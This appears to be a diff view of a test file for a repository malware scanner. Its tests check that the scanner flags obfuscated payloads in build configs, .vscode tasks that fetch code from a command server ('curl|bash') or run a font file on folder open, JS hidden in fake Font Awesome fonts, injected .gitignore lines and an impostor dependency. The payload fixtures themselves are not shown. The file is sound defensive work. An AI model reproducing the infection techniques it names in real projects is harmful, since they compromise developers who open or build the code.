const code = `await import(${JSON.stringify(entry)}); console.log("import OK");`;
const r = await execa(
process.execPath,
["--disallow-code-generation-from-strings", "--input-type=module", "-e", code],
{ reject: false },
);
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
assert.match(r.stdout, /import OK/);
});
+229
View File
@@ -0,0 +1,229 @@
import { test, after } from "node:test";
import assert from "node:assert/strict";
import { scanRepo } from "../src/scanner.js";
import {
makeRepo,
cleanupAll,
LEGIT_CONFIG,
LEGIT_TASKS,
LEGIT_LAUNCH,
INFECTED_TASKS,
INFECTED_TASKS_NODE,
ORIGINAL_PAYLOAD,
ROTATED_PAYLOAD,
GENERIC_PAYLOAD,
infectedConfig,
goodFont,
evilFont,
validSfnt,
} from "./helpers.js";
after(cleanupAll);
const byId = (findings, id) => findings.findings.find((f) => f.id === id);
test("clean repo → severity clean, zero findings", async () => {
// A normal repo with legit VS Code tasks + referenced fonts (but not the full
// tasks+launch+fonts malware triad) must come back completely clean.
const repo = await makeRepo({
"postcss.config.js": LEGIT_CONFIG,
"src/App.jsx": `export default function App(){ return null; }\n`,
".vscode/tasks.json": LEGIT_TASKS,
"public/fonts/inter.woff2": goodFont(),
"src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`,
"package.json": JSON.stringify({ name: "x", dependencies: { react: "^18" } }),
".gitignore": ".env\nnode_modules\n",
});
const f = await scanRepo(repo);
assert.equal(f.severity, "clean");
assert.equal(f.findings.length, 0);
assert.equal(f.hasContentConfirmed, false);
assert.equal(f.coPresenceAmplified, false);
});
test("original variant payload → confirmed strip finding, infected", async () => {
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
const f = await scanRepo(repo);
assert.equal(f.severity, "infected");
const finding = byId(f, "js.payload.original");
assert.ok(finding, "expected original-variant finding");
assert.equal(finding.action, "strip-js-payload");
assert.equal(finding.contentConfirmed, true);
assert.ok(finding.edit.offset > 0);
});
test("rotated variant payload → confirmed strip finding", async () => {
const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) });
const f = await scanRepo(repo);
const finding = byId(f, "js.payload.rotated");
assert.ok(finding, "expected rotated-variant finding");
assert.equal(finding.action, "strip-js-payload");
assert.equal(finding.contentConfirmed, true);
});
test("generic obfuscation → manual-review only, suspicious (not infected)", async () => {
const repo = await makeRepo({ "src/App.js": infectedConfig(GENERIC_PAYLOAD) });
const f = await scanRepo(repo);
const finding = byId(f, "js.payload.heuristic");
assert.ok(finding, "expected heuristic finding");
assert.equal(finding.action, "manual-review");
assert.equal(finding.contentConfirmed, false);
assert.equal(f.severity, "suspicious");
assert.equal(f.hasContentConfirmed, false);
});
test("malicious .vscode (curl|bash C2 task) → whole-dir remove finding", async () => {
const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS, ".vscode/settings.json": "{}" });
const f = await scanRepo(repo);
const finding = byId(f, "vscode.malicious");
assert.ok(finding, "expected vscode finding");
assert.equal(finding.action, "remove-dir");
assert.equal(finding.contentConfirmed, true);
assert.match(finding.edit.absPath, /\.vscode$/);
assert.equal(f.severity, "infected");
});
test("malicious .vscode (node executes a font on folderOpen) → detected", async () => {
const repo = await makeRepo({ ".vscode/tasks.json": INFECTED_TASKS_NODE });
const f = await scanRepo(repo);
const finding = byId(f, "vscode.malicious");
assert.ok(finding, "the node-runs-a-font task must be detected");
assert.equal(finding.action, "remove-dir");
assert.equal(f.severity, "infected");
});
test("carrier + referenced clean font in public/fonts → remove-font-set preserves the clean font", async () => {
const repo = await makeRepo({
"public/fonts/evil.woff2": evilFont(),
"public/fonts/good.woff2": goodFont(),
"src/app.css": `@font-face{src:url('/fonts/good.woff2');}`,
});
const f = await scanRepo(repo);
const fontFindings = f.findings.filter((x) => x.category === "font");
assert.equal(fontFindings.length, 1);
assert.equal(fontFindings[0].action, "remove-font-set");
assert.equal(f.severity, "infected");
const removed = fontFindings[0].edit.removals.map((r) => r.rel);
assert.ok(removed.some((p) => /evil\.woff2$/.test(p)), "evil font removed");
assert.ok(!removed.some((p) => /good\.woff2$/.test(p)), "referenced clean font preserved");
});
test("infected fa font in a mixed dir → remove infected + fa-set + README, keep clean non-fa fonts", async () => {
const repo = await makeRepo({
"public/fonts/fa-solid-400.woff2": evilFont(), // JS carrier disguised as Font Awesome
"public/fonts/fa-brands-400.woff2": goodFont(), // clean FA sibling (still removed)
"public/fonts/fa-regular-400.ttf": validSfnt(), // clean FA sibling (still removed)
"public/fonts/README.md": "# Font Awesome",
"public/fonts/gill-sans/GillSans-Bold.otf": validSfnt("Copyright"), // clean, NOT fa → keep
"public/fonts/gill-sans/README.md": "# Gill Sans license", // nested legit README → keep
});
const f = await scanRepo(repo);
assert.equal(f.severity, "infected");
const finding = byId(f, "font.carrier-set");
assert.ok(finding, "expected remove-font-set finding");
assert.equal(finding.action, "remove-font-set");
assert.equal(finding.contentConfirmed, true);
const removed = finding.edit.removals.map((r) => r.rel);
assert.equal(removed.length, 4, JSON.stringify(removed));
for (const name of ["fa-solid-400.woff2", "fa-brands-400.woff2", "fa-regular-400.ttf", "README.md"]) {
assert.ok(removed.some((p) => p.endsWith(name)), `${name} should be removed`);
}
// The nested clean subdir — including its own README — must be untouched.
assert.ok(!removed.some((p) => p.includes("gill-sans")), "gill-sans must be preserved");
});
test("referenced file that is a JS payload (not a valid font) → manual review, never auto-deleted", async () => {
const repo = await makeRepo({
"public/fonts/webfont.woff2": evilFont(), // JS payload, but wired into the build
"src/app.js": `import "./public/fonts/webfont.woff2";`,
});
const f = await scanRepo(repo);
const finding = byId(f, "font.referenced-carrier");
assert.ok(finding, "referenced carrier must be surfaced, not silently trusted");
assert.equal(finding.action, "manual-review");
assert.equal(finding.contentConfirmed, false);
assert.equal(f.severity, "suspicious");
const autoRemoved = ["delete-font", "remove-font-set", "remove-dir"];
assert.ok(
!f.findings.some((x) => autoRemoved.includes(x.action)),
"a referenced file must never be auto-deleted",
);
});
test("dir of only infected + fa-set + README → whole-dir removal", async () => {
const repo = await makeRepo({
"public/fonts/fa-solid-400.woff2": evilFont(),
"public/fonts/fa-brands-400.woff2": goodFont(),
"public/fonts/README.md": "# FA",
});
const f = await scanRepo(repo);
assert.equal(f.severity, "infected");
const finding = byId(f, "font.carrier-dir");
assert.ok(finding, "expected whole-dir removal");
assert.equal(finding.action, "remove-dir");
assert.match(finding.edit.absPath, /public[\\/]fonts$/);
});
test("valid fa-named fonts, no payload → medium (suspicious) manual review, no removal", async () => {
const repo = await makeRepo({
"public/fonts/fa-solid-900.woff2": goodFont(),
"public/fonts/fa-brands-400.ttf": validSfnt(),
});
const f = await scanRepo(repo);
assert.equal(f.severity, "suspicious");
assert.equal(f.hasContentConfirmed, false);
const finding = byId(f, "font.review");
assert.ok(finding, "expected fa manual-review finding");
assert.equal(finding.action, "manual-review");
assert.equal(finding.contentConfirmed, false);
});
test("unreferenced but structurally valid non-fa fonts → clean, no findings", async () => {
const repo = await makeRepo({
"public/fonts/inter.woff2": goodFont(),
"public/fonts/roboto.otf": validSfnt("Copyright"),
});
const f = await scanRepo(repo);
assert.equal(f.severity, "clean");
assert.equal(f.findings.filter((x) => x.category === "font").length, 0);
});
test("artifacts + injected .gitignore lines detected", async () => {
const repo = await makeRepo({
"temp_auto_push.bat": "echo malware",
"config.bat": "echo orchestrator",
"branch_structure.json": "{}",
".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\nbranch_structure.json\n",
});
const f = await scanRepo(repo);
assert.ok(byId(f, "artifact.temp_auto_push.bat"));
assert.ok(byId(f, "artifact.config.bat"));
assert.ok(byId(f, "artifact.branch_structure.json"));
assert.ok(byId(f, "gitignore.injected"));
assert.equal(f.severity, "infected");
});
test("impostor dependency flagged for manual review (confirmed)", async () => {
const repo = await makeRepo({
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-mainanimation": "1.0.0" } }),
});
const f = await scanRepo(repo);
const finding = byId(f, "package.impostor-deps");
assert.ok(finding);
assert.equal(finding.action, "manual-review");
assert.equal(finding.contentConfirmed, true);
assert.equal(f.severity, "infected");
});
test("co-presence raises severity but does not mark infected without payload", async () => {
const repo = await makeRepo({
".vscode/tasks.json": LEGIT_TASKS,
".vscode/launch.json": LEGIT_LAUNCH,
"public/fonts/inter.woff2": goodFont(),
"src/index.css": `@font-face{src:url('/fonts/inter.woff2');}`,
});
const f = await scanRepo(repo);
assert.equal(f.coPresenceAmplified, true);
assert.equal(f.hasContentConfirmed, false);
assert.equal(f.severity, "suspicious");
});